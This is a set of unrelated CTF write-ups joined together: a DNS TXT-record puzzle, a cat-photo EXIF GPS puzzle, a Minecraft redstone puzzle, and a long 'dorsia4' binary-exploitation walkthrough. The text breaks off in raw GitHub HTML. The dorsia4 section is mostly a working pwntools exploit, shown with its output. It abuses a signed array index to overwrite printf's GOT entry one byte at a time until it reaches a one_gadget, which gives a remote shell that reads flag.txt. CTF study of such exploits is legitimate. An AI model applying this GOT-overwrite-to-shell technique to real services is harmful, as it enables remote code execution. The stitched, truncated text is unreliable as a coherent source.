[Original writeup](https://bigpick.github.io/TodayILearned/articles/2020-04/wpictf_writeups#dns_wizard). We probably need to find some information using the DNS lookup information given challenge name. I started with **dig**, but that did not yield any results. Some googling lead me to try looking specifically for `TXT` type records using dig: ```dig -t TXT wpictf.xyz ; <<>> DiG 9.10.6 <<>> -t TXT wpictf.xyz;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21821;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; udp: 512;; QUESTION SECTION:;wpictf.xyz. IN TXT ;; ANSWER SECTION:wpictf.xyz. 300 IN TXT "V1BJezFGMHVuZF9UaDNfRE5TLXJlY29yZH0=" ;; Query time: 29 msec;; SERVER: 192.168.1.1#53(192.168.1.1);; WHEN: Fri Apr 17 20:01:48 EDT 2020;; MSG SIZE rcvd: 88``` And that definitely looks like some base64 info: ```echo V1BJezFGMHVuZF9UaDNfRE5TLXJlY29yZH0= | base64 -dWPI{1F0und_Th3_DNS-record}```
## Catography This was the challenge text:```Catography - 1,575 Points Jubie's released her own collection of cat pictures. Go check it out! http://challs.houseplant.riceteacatpanda.wtf:30002 Note: The Unsplash author credit is not a part of the challenge, it's only there to conform with the Unsplash image license. Dev: jammy ``` When you browse to `http://challs.houseplant.riceteacatpanda.wtf:30002` you're presented with a stream of cat pictures: ![scrot1](scrot1.png) They load as you scroll, there are 83 pages in total. I wanted to download all of them. So I used the Firefox developer tools in Network mode, searched for "jpg" and then downloaded the HAR file. ![scrot2](scrot2.png) This is an HTTP archive file that is in JSON format. I used it to download all the cat pictures like this: ```pythonimport jsonimport requests with open('output.har') as f: data = json.loads(f.read()) urls = [i['request']['url'] for i in data['log']['entries']] for url in urls: with open('cat_pics/' + url.split('/')[-1], 'wb') as f: f.write(requests.get(url).content)``` There are a 410 cat pictures:```$ ls pics/ | wc -l410``` I noticed that each picture contained some interesting GPS information:```$ exiftool pics/002c1282-11e2-4d01-bfff-348ab6f0301c.jpg | grep GPSGPS Latitude : 27 deg 50' 20.67" SGPS Longitude : 169 deg 32' 15.05" WGPS Latitude Ref : SouthGPS Longitude Ref : WestGPS Position : 27 deg 50' 20.67" S, 169 deg 32' 15.05" W``` Using some bashfu, I extracted all of this GPS information from every file:```$ for f in *.jpg; do exiftool $f | grep -i "GPS position" >> gps.txt; done$ cat gps.txtGPS Position : 27 deg 50' 20.67" S, 169 deg 32' 15.05" WGPS Position : 29 deg 59' 34.81" S, 169 deg 42' 47.97" WGPS Position : 31 deg 39' 12.17" S, 169 deg 53' 20.90" W...``` I thought it would be interesting to plot all of these on a single map, maybe it spells something out? I found [a cool website](https://gpspointplotter.com/) to do this, but it wanted the coordinates in (latitude, longitude) decimal format. So I hacked together some python code to convert the given DMS (degree, minutes, seconds) format to latitude & longitude coordinates. ```pythonimport re def do_thing(s): deg, minutes, seconds, direction = re.split('[°\'"]', s) return (float(deg) + float(minutes)/60 + float(seconds)/(60*60)) * (-1 if direction in ['W', 'S'] else 1) with open('gps.txt','r') as f: data = f.read().splitlines() for line in data: deg1, _, m1, s1, dir1, deg2, _, m2, s2, dir2 = line.split()[3:] deg1 += '°' deg2 += '°' dir1 = dir1.rstrip(',') dir2 = dir2.rstrip(',') conv1 = deg1 + m1 + s1 + dir1 conv2 = deg2 + m2 + s2 + dir2 print(str(do_thing(conv1)) + ', ' + str(do_thing(conv2)))``` I pumped all of this to a file:```$ python solve.py > coords.txt$ cat coords.txt-27.839074999999998, -169.5375138888889-29.99300277777778, -169.713325-31.653380555555554, -169.88913888888888...``` I then used the [GPS Point Plotter](https://gpspointplotter.com/) website to plot them all: ![scrot3](scrot3.png) It spells out the flag `rtcp{4round_7h3_w0rl1d}`, very cool!
# WPICTF 2020 ## dorsia4 > 400>> [http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm](../dorsia.webm) The fourth card.>> `nc dorsia4.wpictf.xyz 31337 or 31338 or 31339`> > made by: awg> > [libc.so.6](libc.so.6) [nanowrite](nanowrite) Tags: _pwn_ _write-what-where_ _got_ _remote-shell_ ### Introduction I did not finish this challenge before the end of the CTF. My theory was sound, however, I missed a crucial bit (disclosed on Discord _after_ the CTF), that enabled me to finish my exploit: ![](dprintf.png) THAT!!! is what I missed. I'm writing this walkthrough as way to remind myself to _try harder_. **UPDATE (less than 24 hours later):** I already knew my code didn't catch all nopsleds to `ret`, `printf`, `dprintf`, and `gadget`, but since I had success, I didn't worry about it. Then my OCD kicked in, and I decided to refactor that part of the code, and now, guess what? It works without `dprint`, ~60% of the time. Instead of completely redoing this walkthrough, see the end for an _alternative ending_. > Too long? Bored? Then click [exploit.py](exploit.py) and [exploit2.py](exploit2.py) (_alternative ending_). ### Analysis #### Checksec ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled``` #### Roll the film ([dorsia.webm](../dorsia.webm)), _yet again -- last time_ ![](dorsia4.png) This time the verbal hints are _write-what-where_ and _libc_. Yet another legit fuckup. A fuckup I have to admit I've probably done. The `if(i>69)` comparison is _signed_. IOW, you can write _backwards_ with negative array indexes. So, what's (_backwards_ from `a`) up there? > For brevity I'm not going to dump out everything, I recommend you look at this in Ghidra yourself. ``` _GLOBAL_OFFSET_TABLE_ _elfSectionHeaders::00000590(*) 00104000 f0 3d 00 addr 00003df0 00 00 00 00 00 PTR_00104008 XREF[1]: 00101020(R) 00104008 00 00 00 addr 00000000 00 00 00 00 00 PTR_00104010 XREF[1]: 00101026 00104010 00 00 00 addr 00000000 00 00 00 00 00 PTR_printf_00104018 XREF[1]: printf:00101030 00104018 10 50 10 addr printf = ?? 00 00 00 00 00... 0010405f ?? ?? d XREF[4]: Entry Point(*), main:001011be(*), main:001011e8(R), main:001011e8(R) 00104060 int ?? nanowrite.c:4 ... 0010407f ?? ?? a XREF[3]: Entry Point(*), main:001011f8(*), main:001011ff(W) 00104080 char[69] ?? nanowrite.c:4 001040c5 ?? ?? 001040c6 ?? ??``` Above you can see the global `a` at offset `0x00104080`, above that the global `d`, and at the top of the RW address space, the RW part of the GOT. If you look at the `checksec` output above you'll notice `Partial RELRO` meaning that some of the GOT can be changed. That is the target, specifically `printf`. ```char a[69];int i, d;void main(){ char b[69]={0}; for(;;) { printf("%p giv i b\n",system+765722); scanf("%i %x",&i,&d) if(i>69) break; a[i]=d; }}``` _Why `printf`?_ It's really our only option. We cannot overwrite `scanf` because we need that repeatedly to _write-what-where_. So that leaves `printf`. > That `char b[69]={0};` is a bit curious, and I speculate was added to put NULLs on the stack to support some simple gadgets. The challenge is that loop only writes one byte at a time, then calls `printf`. If any single byte change to the address of `printf` in the GOT results in bullshit code, we get a SIGSEGV--game over. The challenge is finding a list of addresses that are safe to call, i.e. `ret`, `printf`, and the post-CTF revealed `dprintf` (_goddamnit_) _in order_. Once the last byte is put in place, we get a shell. To make life a bit easier, for free, we get the version of libc and the location of `system`, that can then be used to find the base of libc for use with a gadget. So, the exploit is pretty clear, using a negative value for `i` write _backwards_ into the GOT and _safely_ change `printf` byte-by-byte until we reach a tested gadget. Easy, _right?_ > To test a gadget, just use GDB, set a breakpoint, change the GOT by hand. The gadget I used from `one_gadget libc.so.6` was `0x4f322`. ### Exploit #### Attack Plan 1. Get `system` leak and compute the addresses of `printf`, `dprintf`, and the gadget2. Find a list of all the "safe" libc addresses3. Create a graph4. Compute the shortest path to the gadget5. _write-what-where_ the exploit6. Get a shell, get the flag #### Get `system` leak and compute the addresses of `printf`, `dprintf`, and the gadget ```python#!/usr/bin/python3 from pwn import *import networkx as nximport time binary = ELF('./nanowrite')#p = process('./nanowrite')#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')p = remote('dorsia4.wpictf.xyz',31337)libc = ELF('libc.so.6') _ = p.recvline().split()[0] system = int(_,16) - 765772print("system: " + hex(system))baselibc = system - libc.symbols['system']print("libc: " + str(hex(baselibc)))printf = baselibc + libc.symbols['printf']print("printf: " + str(hex(printf)))dprintf = baselibc + libc.symbols['dprintf']print("dprintf: " + str(hex(dprintf)))gadget = baselibc + 0x4f322print("gadget: " + str(hex(gadget)))``` From the _card_, `printf("%p giv i b\n",system+765722);` just leaks `system` and some nonsense we do not care about. Computing the locations of `system`, `printf`, `dprintf`, and the gadget is pretty straight forward. #### Find a list of all the "safe" libc addresses ```pythonnops = [0x90,0x6690,0x0f1f00,0x0f1f4000,0x0F1F440000,0x660F1F440000,0x0F1F8000000000,0x0F1F840000000000,0x660F1F840000000000,0x662e0f1f840000000000] addrs = []code = open('libc.so.6','rb').read()t=time.time()print("\ncomputing safe addresses...",end="")for i in range(len(code)): if code[i] == 0xc3 or i == libc.symbols['dprintf'] or i == libc.symbols['printf'] or i == 0x4f322: addrs.append((baselibc + i) & 0xFFFFFF) j = i while True: for k in range(len(nops)-1,-1,-1): if code[j-k-1:j] == nops[k].to_bytes(k+1,byteorder='big'): addrs.append((baselibc + j-k-1) & 0xFFFFFF) break else: break j = j-k-1print(int(time.time() - t),end="")print(" seconds")``` > This is where I failed. Getting this far (identifying the vuln, targeting `printf`, and testing the gadget) took minutes and I thought I was minutes away from a solve. Well, nope.>> For starters I only looked for `ret` (`0xc3`) and single byte `nop` sleds before `ret`. Minutes before closing it had occurred to me to also search for multibyte `nop`, however, IIRC, there were none before any `ret`. > > `dprint` (_goddamnit_). This code reads in all the bytes from the provided `libc.so.6`, and then searches for any `ret` statements or known good addresses. The assumption is that any `ret` is a safe place to call. If a match is found, it is added to the `addrs` list, and then looks back for single and multibyte `nop` sleds leading to that address (required or this fails). If found, then they are also added to `addrs`. (There's probably a super sexy regex that will do this all for me as a single expression.) This search takes about 1 second to complete. #### Create a graph ```pythont=time.time()print("building graph...",end="")g = nx.Graph()for i in range(len(addrs)): for j in range(i+1,len(addrs)): n = addrs[i] ^ addrs[j] if n & 0xffff == 0: g.add_edge(addrs[i], addrs[j]) continue if n < 0x10000 and n & 0xff == 0: g.add_edge(addrs[i], addrs[j]) continue if n < 0x100: g.add_edge(addrs[i], addrs[j]) continueprint(int(time.time() - t),end="")print(" seconds")``` Leveraging `networkx` a graph is built by checking every pair for a single byte difference (_O(n<sup>2</sup>)_). This takes about 12 seconds. #### Compute the shortest path to the gadget ```pythontry: _ = nx.shortest_path(g,source=(printf & 0xFFFFFF),target=(gadget & 0xFFFFFF),weight='weight')except: print("\nno path for you!\n") sys.exit(1) print("\npath found (len: " + str(len(_)) + "):\n")for i in _: print(hex(i))print() ``` Again, leveraging `networkx`, the shortest path (Dijkstra) is computed from `printf` to our gadget by changing one byte at a time. There is a 1/8 chance you'll get a `no path for you!` exception. That is the nature of ASLR. There's ~4% chance you'll get a SIGSEGV with a valid path. Also the length of the path varies. For the lulz I did 1000 tests (locally) with the following results: ```# sed 's/SIGSEGV.*/SIGSEGV/' test1000.out | egrep "(path|SIG|WPI|dorsia4)" | sort | uniq -c | sort -r -n 1000 [*] '/pwd/datajerk/wpictf2020/dorsia4/nanowrite' 839 b'WPI{D0_you_like_Hu3y_Lew1s_&_the_News?}\n' 773 path found (len: 14): 123 no path for you! 54 path found (len: 21): 50 path found (len: 18): 37 [*] Process './nanowrite' stopped with exit code -11 (SIGSEGV``` Expect an 84% chance of getting the flag. There's probably enough data in [test1000.out.gz](test1000.out) to find the address(es) that is causing the SIGSEGVs, but at this point it is not that interesting of a problem. #### _write-what-where_ the exploit ```pythonfor i in range(1,len(_)): for j in range(3): if (_[i-1] ^ _[i]) & (0xFF << j*8) != 0: b = (_[i] & (0xFF << j*8)) >> j*8 print("put " + str(hex(b)) + " in " + str(j)) p.sendline(str(hex(0x100000000 - (binary.symbols['a'] - binary.got['printf']) + j)) + " " + str(hex(b))) breakprint()``` Finally. This will loop through the found path, determine the byte and the position and then finally input into `scanf` the address of the byte to be changed (`0x100000000 - (binary.symbols['a'] - binary.got['printf']) + j`) and the byte. > I should have replaced that inner loop with 3 `if` statements for readability. #### Get a shell, get the flag ```pythonp.interactive()``` Just type `cat flag.txt`. #### Output ```# ./exploit.py[*] '/pwd/datajerk/wpictf2020/dorsia4/nanowrite' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to dorsia4.wpictf.xyz on port 31337: Done[*] '/pwd/datajerk/wpictf2020/dorsia4/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledsystem: 0x7f69251ad440libc: 0x7f692515e000printf: 0x7f69251c2e80dprintf: 0x7f69251c3180gadget: 0x7f69251ad322 computing safe addresses...1 secondsbuilding graph...12 seconds path found (len: 14): 0x1c2e800x1c31800x1c31710x2831710x2831830x280e830x280ecf0x2800cf0x2800870x1a00870x1a1a870x1a1ac90x1ad3c90x1ad322 put 0x31 in 1put 0x71 in 0put 0x28 in 2put 0x83 in 0put 0xe in 1put 0xcf in 0put 0x0 in 1put 0x87 in 0put 0x1a in 2put 0x1a in 1put 0xc9 in 0put 0xd3 in 1put 0x22 in 0 [*] Switching to interactive mode$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)$ ls -ltotal 28-r-xr-x--- 1 ctf ctf 42 Apr 16 00:54 flag.txt-r-xr-x--- 1 ctf ctf 19288 Apr 17 09:57 nanowrite-r-xr-x--- 1 ctf ctf 88 Apr 16 01:00 run_problem.sh$ cat flag.txtWPI{D0_you_like_Hu3y_Lew1s_&_the_News?}``` #### Flag ```WPI{D0_you_like_Hu3y_Lew1s_&_the_News?}``` ### _Alternative Ending_ While there are some other minor changes to [exploit2.py](exploit2.py) the meat of the change is in the _computing safe address..._ section: ```pythondef nopsled(addr): a = [] for i in range(len(nops)-1,-1,-1): if code[addr-i-1:addr] == nops[i].to_bytes(i+1,byteorder='big'): a.append(addr-i-1) a += nopsled(addr-i-1) return a addrs = []code = open('libc.so.6','rb').read()t=time.time()print("\ncomputing safe addresses...",end="")for i in range(len(code)): if code[i] == 0xc3 or i == libc.symbols['printf'] or i == gadget: addrs.append((baselibc + i) & 0xFFFFFF) addrs += [((baselibc + x) & 0xFFFFFF) for x in nopsled(i)]print(int(time.time() - t),end="")print(" seconds")``` Using recursion and checking all possible options it is now possible without adding `libc.symbols['dprintf']` to the list of safe address to solve this challenge. After 1000 runs, here's the stats: ```# sed 's/SIGSEGV.*/SIGSEGV/' test1000c.out | egrep "(path|SIG|WPI|dorsia4)" | sort | uniq -c | sort -r -n 1000 [*] '/pwd/datajerk/wpictf2020/dorsia4/nanowrite' 605 b'WPI{D0_you_like_Hu3y_Lew1s_&_the_News?}\n' 369 no path for you! 357 path found (len: 21): 274 path found (len: 19): 26 [*] Process './nanowrite' stopped with exit code -11 (SIGSEGV``` The previous code could not find a path ~1/8th of the time. The newer version without `dprintf` added as a safe address is worse at ~3/8ths making the likelihood of a flag ~60%. `SEGSEGV`s are down as well, but proportional to the number of good paths, so, no surprise. The paths are also completely different without `dprintf`, implying there was never a path with the previous code that did not bounce through `dprintf`. This is the solution I was working for before the end of the CTF. Sadly I just failed to find every nopsled. #### Output ```# ./exploit2.py[*] '/pwd/datajerk/wpictf2020/dorsia4/nanowrite' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to dorsia4.wpictf.xyz on port 31337: Done[*] '/pwd/datajerk/wpictf2020/dorsia4/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledsystem: 0x7e0e3d0b8440libc: 0x7e0e3d069000printf: 0x7e0e3d0cde80 computing safe addresses...0 secondsbuilding graph...11 seconds path found (len: 21): 0xcde800xcde730xc79730xc793f0x17793f0x179a3f0x179a500x1799500x1799900x17ad900x18ad900x18ad3b0x18be3b0x18be9f0x18a69f0x18a6e40xba6e40xba66a0xb7d6a0xb7d220xb8322 put 0x73 in 0put 0x79 in 1put 0x3f in 0put 0x17 in 2put 0x9a in 1put 0x50 in 0put 0x99 in 1put 0x90 in 0put 0xad in 1put 0x18 in 2put 0x3b in 0put 0xbe in 1put 0x9f in 0put 0xa6 in 1put 0xe4 in 0put 0xb in 2put 0x6a in 0put 0x7d in 1put 0x22 in 0put 0x83 in 1 [*] Switching to interactive mode$ cat flag.txtWPI{D0_you_like_Hu3y_Lew1s_&_the_News?}```
## Block Gate >A fun Minecraft redstone challenge.>>As this is sorta a forensics challenge it may be a good idea to backup the world folder so you don't have to download it over and over (however, there are MANY ways to solve this challenge and you do not necessarily need to make a backup).>>Happy hacking!>> * Abjuri5t (John F.)>>p.s. Look left immeditaly after spawning-in and see what the water does :-) ### ChallengeUpon loading the Minecraft, we see water is about to destroy the redstone circuit which is is apparently very important to our solution. In fact, it's the main portion to our solution and we won't get anywhere if it's destroyed. I first tried saving it with the `/fill` command by putting a room of acacia_planks but that didn't clear the water that was already under the roof. So after trying to learn how to use the replace subcommand of the `/fill` command I finally was able to save the circut by spamming, `/fill 54 58 -16 20 75 30 minecraft:air replace minecraft:water` until after the water had disappeared entirely from my screen. ### Final soultion wrapupNow all we had to do was watch a oretty light show and decode the out of the image bellow:![Solution](https://github.com/ZoeS17/WPICTF2020-writeups/raw/master/misc/block_gate/images/Solution.png) The only hard ones to figure out were luckily on the end and were(from left to right)>PWI{}That happens to be our flag format netting us a place to start with the flag. ## Flag`WPI{02301}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-writeups/2020/plaidctf-2020/shockwave at master · perfectblue/ctf-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="BF8E:6BE1:1C72F9FF:1D48FB3E:641220FC" data-pjax-transient="true"/><meta name="html-safe-nonce" content="68af155322f46dcd5841bcf2e910110d63d32817732dcf274ff92ef49f30b255" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCRjhFOjZCRTE6MUM3MkY5RkY6MUQ0OEZCM0U6NjQxMjIwRkMiLCJ2aXNpdG9yX2lkIjoiODI3OTM4MjUyMDg3MDYwOTE0OCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="4c6678eca9ffe61133564e184d3c4adf13e11e86efd5676b2531566ac437d7b1" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:133306580" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Perfect Blue's CTF Writeups. Contribute to perfectblue/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/ec4c76293131f394e1da96c01d3cedaa03c34bb99ebfdaaedfe0bfb8ff1fa640/perfectblue/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/2020/plaidctf-2020/shockwave at master · perfectblue/ctf-writeups" /><meta name="twitter:description" content="Perfect Blue's CTF Writeups. Contribute to perfectblue/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/ec4c76293131f394e1da96c01d3cedaa03c34bb99ebfdaaedfe0bfb8ff1fa640/perfectblue/ctf-writeups" /><meta property="og:image:alt" content="Perfect Blue's CTF Writeups. Contribute to perfectblue/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/2020/plaidctf-2020/shockwave at 